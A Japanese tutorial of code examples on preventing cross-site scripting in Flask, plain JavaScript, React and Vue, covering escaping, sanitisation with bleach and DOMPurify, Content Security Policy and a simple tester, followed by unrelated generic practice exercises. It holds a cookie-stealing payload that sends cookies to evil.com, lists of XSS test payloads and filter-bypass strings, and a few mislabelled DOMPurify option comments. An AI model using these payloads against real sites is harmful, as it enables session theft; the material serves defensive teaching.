# コード例1: Reflected XSSの脆弱なコードと対策
 
# 脆弱なコード
@app.route("/search")
def search_vulnerable():
    query = request.args.get("q", "")
    # ユーザー入力をそのままHTMLに埋め込む -> XSS!
    return f"<h1>検索結果: {query}</h1>"
    # /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
 
# 安全なコード
from markupsafe import escape
 
@app.route("/search")
def search_safe():
    query = request.args.get("q", "")
    # HTMLエスケープを適用
    return f"<h1>検索結果: {escape(query)}</h1>"
    # <script> -> &lt;script&gt; に変換される
 
# さらに安全: テンプレートエンジンの自動エスケープ
from flask import render_template
 
@app.route("/search")
def search_best():
    query = request.args.get("q", "")
    # Jinja2はデフォルトで自動エスケープ
    return render_template("search.html", query=query)

# コード例2: Stored XSSの脆弱なコードと対策
 
# 脆弱なコード: コメント投稿
@app.route("/comments", methods=["POST"])
def post_comment_vulnerable():
    comment = request.form["comment"]
    # そのまま保存 -> 表示時にXSSが発生
    db.execute("INSERT INTO comments (body) VALUES (?)", (comment,))
    return redirect("/comments")
 
# 安全なコード: サニタイゼーション + エスケープ
import bleach
 
ALLOWED_TAGS = ["b", "i", "u", "a", "p", "br", "ul", "ol", "li", "blockquote"]
ALLOWED_ATTRS = {"a": ["href", "title"]}
ALLOWED_PROTOCOLS = ["http", "https", "mailto"]
 
@app.route("/comments", methods=["POST"])
def post_comment_safe():
    comment = request.form["comment"]
    # HTMLサニタイゼーション: 許可されたタグ以外を除去
    clean_comment = bleach.clean(
        comment,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRS,
        protocols=ALLOWED_PROTOCOLS,
        strip=True,
    )
    db.execute("INSERT INTO comments (body) VALUES (?)", (clean_comment,))
    return redirect("/comments")

// コード例3: DOM-based XSSの脆弱なコードと対策
 
// 脆弱なコード
// URLが: /page#<img src=x onerror=alert(1)> の場合にXSSが発生
const hash = location.hash.substring(1);
document.getElementById("content").innerHTML = hash; // 危険!
 
// 安全なコード: textContentを使用
const hash2 = location.hash.substring(1);
document.getElementById("content").textContent = hash2; // HTMLとして解釈されない
 
// 安全なコード: DOMPurifyでサニタイズ
import DOMPurify from "dompurify";
 
const hash3 = location.hash.substring(1);
const clean = DOMPurify.sanitize(hash3);
document.getElementById("content").innerHTML = clean;

# コード例4: コンテキスト別エスケープの実装
import html
import json
from urllib.parse import quote
 
class XSSEncoder:
    """コンテキスト別のエスケープ処理
 
    各メソッドは特定のHTMLコンテキストに対応する。
    間違ったコンテキストのエスケープを使うとXSSが発生するため、
    出力先に応じた正しいメソッドを選択すること。
    """
 
    @staticmethod
    def html_encode(s: str) -> str:
        """HTMLコンテキスト用エスケープ
 
        対象: <p>{{ここ}}</p>, <div>{{ここ}}</div>
        変換: < > & " ' → &lt; &gt; &amp; &quot; &#x27;
        """
        return html.escape(s, quote=True)
 
    @staticmethod
    def js_encode(s: str) -> str:
        """JavaScriptコンテキスト用エスケープ
 
        対象: var x = "{{ここ}}";
        変換: JSON.dumpsで安全な文字列リテラルを生成
        注意: <script>タグ内に出力する場合、</script> を含む
              文字列がスクリプトを早期終了させる可能性がある
        """
        # JSON.dumps で安全なJSリテラルに変換
        encoded = json.dumps(s)
        # </script> によるスクリプトブロック終了を防止
        encoded = encoded.replace("</", "<\\/")
        return encoded
 
    @staticmethod
    def url_encode(s: str) -> str:
        """URLコンテキスト用エスケープ
 
        対象: <a href="/search?q={{ここ}}">
        変換: 英数字以外を %HH 形式にエンコード
        """
        return quote(s, safe="")
 
    @staticmethod
    def attr_encode(s: str) -> str:
        """HTML属性用エスケープ
 
        対象: <div title="{{ここ}}">
        変換: 英数字以外をHTML文字参照に変換
        注意: 属性値は必ずクォートで囲むこと
        """
        result = []
        for ch in s:
            if ch.isalnum():
                result.append(ch)
            else:
                result.append(f"&#x{ord(ch):02x};")
        return "".join(result)
 
    @staticmethod
    def css_encode(s: str) -> str:
        """CSSコンテキスト用エスケープ
 
        対象: <style> .class { color: {{ここ}}; } </style>
        変換: 英数字以外を \\HHHHHH 形式にエスケープ
        """
        result = []
        for ch in s:
            if ch.isalnum():
                result.append(ch)
            else:
                result.append(f"\\{ord(ch):06x}")
        return "".join(result)
 
encoder = XSSEncoder()
 
# 使用例
user_input = '<script>alert("XSS")</script>'
 
# HTMLコンテキスト
safe_html = f"<p>{encoder.html_encode(user_input)}</p>"
# => <p>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</p>
 
# JavaScriptコンテキスト
safe_js = f"var name = {encoder.js_encode(user_input)};"
# => var name = "<script>alert(\"XSS\")<\/script>";
 
# URLコンテキスト
safe_url = f"/search?q={encoder.url_encode(user_input)}"
# => /search?q=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E

# コード例5: CSPの段階的導入
import secrets
 
class CSPBuilder:
    """Content Security Policyの構築ヘルパー"""
 
    def __init__(self):
        self.directives = {}
 
    def add_directive(self, directive: str, *sources: str) -> 'CSPBuilder':
        self.directives.setdefault(directive, []).extend(sources)
        return self
 
    def build(self) -> str:
        parts = []
        for directive, sources in self.directives.items():
            parts.append(f"{directive} {' '.join(sources)}")
        return "; ".join(parts)
 
    def build_report_only(self) -> dict:
        """レポートオンリーモード（まず監視から開始）"""
        return {
            "Content-Security-Policy-Report-Only": self.build()
        }
 
    def build_enforced(self) -> dict:
        """強制モード"""
        return {
            "Content-Security-Policy": self.build()
        }
 
# 段階的CSP導入
# Step 1: レポートオンリーで影響を確認
csp_step1 = (CSPBuilder()
    .add_directive("default-src", "'self'")
    .add_directive("script-src", "'self'", "'unsafe-inline'")  # 一時的に許可
    .add_directive("style-src", "'self'", "'unsafe-inline'")
    .add_directive("report-uri", "/csp-report")
)
 
# Step 2: インラインスクリプトをnonce化
nonce = secrets.token_urlsafe(32)
csp_step2 = (CSPBuilder()
    .add_directive("default-src", "'self'")
    .add_directive("script-src", "'self'", f"'nonce-{nonce}'")
    .add_directive("style-src", "'self'", f"'nonce-{nonce}'")
    .add_directive("img-src", "'self'", "data:", "https:")
    .add_directive("connect-src", "'self'", "https://api.example.com")
    .add_directive("frame-ancestors", "'none'")
    .add_directive("report-uri", "/csp-report")
)
 
# Step 3: 最も厳格なCSP (strict-dynamic)
csp_strict = (CSPBuilder()
    .add_directive("default-src", "'none'")
    .add_directive("script-src", "'self'", "'strict-dynamic'",
                   f"'nonce-{nonce}'")
    .add_directive("style-src", "'self'", f"'nonce-{nonce}'")
    .add_directive("img-src", "'self'")
    .add_directive("font-src", "'self'")
    .add_directive("connect-src", "'self'")
    .add_directive("frame-ancestors", "'none'")
    .add_directive("base-uri", "'self'")
    .add_directive("form-action", "'self'")
)

# コード例6: Flask での Nonce ベース CSP 実装
from flask import Flask, request, g, render_template
import secrets
 
app = Flask(__name__)
 
@app.before_request
def generate_nonce():
    """リクエストごとにユニークなnonceを生成"""
    g.csp_nonce = secrets.token_urlsafe(32)
 
@app.after_request
def add_csp_header(response):
    """CSPヘッダーを設定"""
    nonce = g.get('csp_nonce', '')
    csp = (
        f"default-src 'none'; "
        f"script-src 'self' 'nonce-{nonce}' 'strict-dynamic'; "
        f"style-src 'self' 'nonce-{nonce}'; "
        f"img-src 'self' data: https:; "
        f"font-src 'self'; "
        f"connect-src 'self'; "
        f"frame-ancestors 'none'; "
        f"base-uri 'self'; "
        f"form-action 'self'; "
        f"report-uri /csp-report"
    )
    response.headers['Content-Security-Policy'] = csp
    return response
 
@app.context_processor
def inject_nonce():
    """テンプレートにnonceを注入"""
    return {'csp_nonce': g.get('csp_nonce', '')}
 
# テンプレート (template.html):
# <script nonce="{{ csp_nonce }}">
#   // このスクリプトは実行される（nonceが一致するため）
#   console.log("Safe inline script");
# </script>
#
# <script>
#   // このスクリプトはブロックされる（nonceがないため）
#   alert("This will be blocked by CSP");
# </script>

# コード例7: CSP違反レポートの受信と分析
from flask import Flask, request, jsonify
import json
import logging
 
app = Flask(__name__)
logger = logging.getLogger("csp_reports")
 
@app.route("/csp-report", methods=["POST"])
def csp_report():
    """CSP違反レポートを受信"""
    try:
        report = json.loads(request.data)
        csp_report = report.get("csp-report", {})
 
        # レポートの内容を記録
        logger.warning(
            "CSP Violation: "
            f"blocked-uri={csp_report.get('blocked-uri', 'unknown')}, "
            f"violated-directive={csp_report.get('violated-directive', 'unknown')}, "
            f"document-uri={csp_report.get('document-uri', 'unknown')}, "
            f"source-file={csp_report.get('source-file', 'unknown')}, "
            f"line-number={csp_report.get('line-number', 'unknown')}"
        )
 
        # 重大な違反をアラート
        violated = csp_report.get("violated-directive", "")
        if "script-src" in violated:
            # スクリプト実行の違反 → XSS攻撃の可能性
            alert_security_team(csp_report)
 
        return "", 204
    except Exception as e:
        logger.error(f"Failed to process CSP report: {e}")
        return "", 400
 
def alert_security_team(report: dict):
    """セキュリティチームにアラート送信"""
    # Slack, PagerDuty, etc. への通知
    pass

// コード例8: DOMPurify の詳細な設定
import DOMPurify from "dompurify";
 
// === 基本的な使用 ===
const dirty = '<img src=x onerror=alert(1)//>';
const clean = DOMPurify.sanitize(dirty);
// => '<img src="x">' (onerror属性が除去される)
 
// === カスタム設定 ===
const config = {
    // 許可するタグ
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
                   'ul', 'ol', 'li', 'h1', 'h2', 'h3',
                   'blockquote', 'code', 'pre'],
 
    // 許可する属性
    ALLOWED_ATTR: ['href', 'title', 'class'],
 
    // javascript: URL を禁止
    ALLOW_DATA_ATTR: false,
 
    // <a> タグに target="_blank" と rel="noopener" を自動追加
    ADD_ATTR: ['target'],
 
    // 全てのリンクに rel="noopener noreferrer" を追加
    WHOLE_DOCUMENT: false,
 
    // SVGタグを許可するか
    USE_PROFILES: {svg: false, svgFilters: false, mathMl: false},
};
 
const cleanHtml = DOMPurify.sanitize(userHtml, config);
 
// === フック機能 ===
// サニタイズ中にカスタム処理を追加
DOMPurify.addHook('afterSanitizeAttributes', function(node) {
    // 全ての <a> タグに target="_blank" と rel="noopener" を追加
    if (node.tagName === 'A') {
        node.setAttribute('target', '_blank');
        node.setAttribute('rel', 'noopener noreferrer');
    }
    // 画像のsrcをプロキシ経由に変更
    if (node.tagName === 'IMG' && node.getAttribute('src')) {
        const originalSrc = node.getAttribute('src');
        node.setAttribute('src', `/proxy/image?url=${encodeURIComponent(originalSrc)}`);
    }
});
 
// === Trusted Types との統合 ===
// ブラウザの Trusted Types API と連携
if (window.trustedTypes && window.trustedTypes.createPolicy) {
    const policy = trustedTypes.createPolicy('default', {
        createHTML: (input) => DOMPurify.sanitize(input, config),
    });
}

// コード例9: React での安全なレンダリング
import DOMPurify from "dompurify";
 
// 安全: JSXは自動でエスケープ
function SafeComponent({ userInput }) {
  return <div>{userInput}</div>; // HTMLとして解釈されない
}
 
// 安全: 属性値も自動エスケープ
function SafeAttribute({ userInput }) {
  return <div title={userInput}>Content</div>;
  // " が &#34; にエスケープされる
}
 
// 危険: dangerouslySetInnerHTMLは避ける
function DangerousComponent({ htmlContent }) {
  // どうしても必要な場合はDOMPurifyでサニタイズ
  const clean = DOMPurify.sanitize(htmlContent, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
    ALLOWED_ATTR: ["href", "title"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
 
// 危険: href属性にユーザー入力
function DangerousLink({ userUrl }) {
  // NG: javascript: URL でXSSが発生する
  // return <a href={userUrl}>Click</a>;
 
  // OK: プロトコルを検証
  const safeUrl = sanitizeUrl(userUrl);
  return <a href={safeUrl}>Click</a>;
}
 
function sanitizeUrl(url) {
  try {
    const parsed = new URL(url);
    if (['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return url;
    }
    return '#'; // 安全でないプロトコルはブロック
  } catch {
    return '#'; // 無効なURLはブロック
  }
}
 
// 安全: SSRでのデータ受け渡し
function ServerSideData({ serverData }) {
  // NG: <script>window.__DATA__ = {serverData}</script>
  // → XSSの危険性あり
 
  // OK: JSON.stringifyでエスケープしてdata属性に格納
  return (
    <div id="app-data"
         data-config={JSON.stringify(serverData)}>
    </div>
  );
}

// コード例10: Vue.js での安全なレンダリング
 
// 安全: マスタッシュ構文は自動エスケープ
// <template>
//   <p>{{ userInput }}</p>
//   <!-- <script>alert(1)</script> → &lt;script&gt;alert(1)&lt;/script&gt; -->
// </template>
 
// 危険: v-html はHTMLとして解釈される
// <template>
//   <div v-html="userHtml"></div>
//   <!-- XSSの危険あり -->
// </template>
 
// 安全: v-html + DOMPurify
import DOMPurify from 'dompurify';
 
export default {
  computed: {
    safeHtml() {
      return DOMPurify.sanitize(this.userHtml, {
        ALLOWED_TAGS: ['b', 'i', 'a', 'p', 'br'],
        ALLOWED_ATTR: ['href'],
      });
    }
  }
};
// <template>
//   <div v-html="safeHtml"></div>
// </template>
 
// Vue.js 用グローバルディレクティブ（v-safe-html）
// app.directive('safe-html', {
//   mounted(el, binding) {
//     el.innerHTML = DOMPurify.sanitize(binding.value);
//   },
//   updated(el, binding) {
//     el.innerHTML = DOMPurify.sanitize(binding.value);
//   }
// });

# コード例11: XSS脆弱性のテスト
import requests
from typing import List, Dict
 
class XSSTester:
    """XSS脆弱性の基本テスト"""
 
    BASIC_PAYLOADS = [
        '<script>alert(1)</script>',
        '<img src=x onerror=alert(1)>',
        '<svg onload=alert(1)>',
        '"><script>alert(1)</script>',
        "'-alert(1)-'",
        '<details open ontoggle=alert(1)>',
        '<body onload=alert(1)>',
    ]
 
    ATTRIBUTE_PAYLOADS = [
        '" onmouseover="alert(1)',
        "' onmouseover='alert(1)",
        '" autofocus onfocus="alert(1)',
    ]
 
    DOM_PAYLOADS = [
        '#<img src=x onerror=alert(1)>',
        '#"><svg onload=alert(1)>',
    ]
 
    def test_reflected(self, url: str, param: str) -> List[Dict]:
        """Reflected XSS テスト"""
        results = []
        for payload in self.BASIC_PAYLOADS:
            response = requests.get(url, params={param: payload})
            reflected = payload in response.text
            encoded = any(
                enc in response.text
                for enc in [
                    payload.replace("<", "&lt;"),
                    payload.replace('"', "&quot;"),
                ]
            )
            results.append({
                "payload": payload,
                "reflected_raw": reflected,
                "properly_encoded": encoded,
                "vulnerable": reflected and not encoded,
            })
        return results
 
    def test_csp_headers(self, url: str) -> Dict:
        """CSPヘッダーの確認"""
        response = requests.get(url)
        csp = response.headers.get("Content-Security-Policy", "")
        csp_report = response.headers.get(
            "Content-Security-Policy-Report-Only", "")
 
        issues = []
        if not csp and not csp_report:
            issues.append("CSP header missing")
        if "'unsafe-inline'" in csp:
            issues.append("'unsafe-inline' in script-src")
        if "'unsafe-eval'" in csp:
            issues.append("'unsafe-eval' in script-src")
        if "default-src" not in csp and "script-src" not in csp:
            issues.append("No script-src or default-src directive")
 
        return {
            "csp": csp,
            "csp_report_only": csp_report,
            "issues": issues,
            "score": max(0, 100 - len(issues) * 25),
        }
 
# 使用例（必ず許可された環境でのみ）
# tester = XSSTester()
# results = tester.test_reflected("http://localhost:8080/search", "q")

# NG: ブラックリスト方式
def sanitize_bad(input_html):
    return input_html.replace("<script>", "").replace("</script>", "")
# バイパス: <scr<script>ipt>alert(1)</scr</script>ipt>
# バイパス: <ScRiPt>alert(1)</ScRiPt>
# バイパス: <img src=x onerror=alert(1)>
# バイパス: <svg onload=alert(1)>
 
# OK: ホワイトリスト方式（DOMPurifyまたはbleach）
import bleach
def sanitize_good(input_html):
    return bleach.clean(input_html,
                       tags=["b", "i", "a"],
                       attributes={"a": ["href"]})

// NG: ユーザー入力を innerHTML に代入
document.getElementById("output").innerHTML = userInput;
 
// NG: jQuery の .html() もinnerHTMLと同様
$('#output').html(userInput);
 
// OK: textContent を使用
document.getElementById("output").textContent = userInput;
 
// OK: jQuery の .text() を使用
$('#output').text(userInput);
 
// OK: どうしても HTML を挿入する場合は DOMPurify 経由
document.getElementById("output").innerHTML =
    DOMPurify.sanitize(userInput);

# 演習1: 基本実装のテンプレート
class Exercise1:
    """基本的な実装パターンの演習"""
 
    def __init__(self):
        self.data = []
 
    def validate_input(self, value):
        """入力値の検証"""
        if value is None:
            raise ValueError("入力値がNoneです")
        return True
 
    def process(self, value):
        """データ処理のメインロジック"""
        self.validate_input(value)
        self.data.append(value)
        return self.data
 
    def get_results(self):
        """処理結果の取得"""
        return {
            'count': len(self.data),
            'data': self.data
        }
 
# テスト
def test_exercise1():
    ex = Exercise1()
    assert ex.process(1) == [1]
    assert ex.process(2) == [1, 2]
    assert ex.get_results()['count'] == 2
 
    try:
        ex.process(None)
        assert False, "例外が発生するべき"
    except ValueError:
        pass
 
    print("全テスト合格!")
 
test_exercise1()

# 演習2: 応用パターン
from typing import List, Dict, Optional
from datetime import datetime
 
class AdvancedExercise:
    """応用パターンの演習"""
 
    def __init__(self, max_size: int = 100):
        self._items: List[Dict] = []
        self._max_size = max_size
        self._created_at = datetime.now()
 
    def add(self, key: str, value: any) -> bool:
        """アイテムの追加（サイズ制限付き）"""
        if len(self._items) >= self._max_size:
            return False
        self._items.append({
            'key': key,
            'value': value,
            'timestamp': datetime.now().isoformat()
        })
        return True
 
    def find(self, key: str) -> Optional[Dict]:
        """キーによる検索"""
        for item in reversed(self._items):
            if item['key'] == key:
                return item
        return None
 
    def remove(self, key: str) -> bool:
        """キーによる削除"""
        for i, item in enumerate(self._items):
            if item['key'] == key:
                self._items.pop(i)
                return True
        return False
 
    def stats(self) -> Dict:
        """統計情報"""
        return {
            'total_items': len(self._items),
            'max_size': self._max_size,
            'usage_percent': len(self._items) / self._max_size * 100,
            'uptime': str(datetime.now() - self._created_at)
        }
 
# テスト
def test_advanced():
    ex = AdvancedExercise(max_size=3)
    assert ex.add("a", 1) == True
    assert ex.add("b", 2) == True
    assert ex.add("c", 3) == True
    assert ex.add("d", 4) == False  # サイズ制限
    assert ex.find("b")['value'] == 2
    assert ex.remove("b") == True
    assert ex.find("b") is None
    stats = ex.stats()
    assert stats['total_items'] == 2
    print("応用テスト全合格!")
 
test_advanced()

# 演習3: パフォーマンス最適化
import time
from functools import lru_cache
 
# 最適化前（O(n^2)）
def slow_search(data: list, target: int) -> int:
    """非効率な検索"""
    for i in range(len(data)):
        for j in range(i + 1, len(data)):
            if data[i] + data[j] == target:
                return (i, j)
    return (-1, -1)
 
# 最適化後（O(n)）
def fast_search(data: list, target: int) -> tuple:
    """ハッシュマップを使った効率的な検索"""
    seen = {}
    for i, num in enumerate(data):
        complement = target - num
        if complement in seen:
            return (seen[complement], i)
        seen[num] = i
    return (-1, -1)
 
# ベンチマーク
def benchmark():
    import random
    data = list(range(5000))
    random.shuffle(data)
    target = data[100] + data[4000]
 
    start = time.time()
    result1 = slow_search(data, target)
    slow_time = time.time() - start
 
    start = time.time()
    result2 = fast_search(data, target)
    fast_time = time.time() - start
 
    print(f"非効率版: {slow_time:.4f}秒")
    print(f"効率版:   {fast_time:.6f}秒")
    print(f"高速化率: {slow_time/fast_time:.0f}倍")
 
benchmark()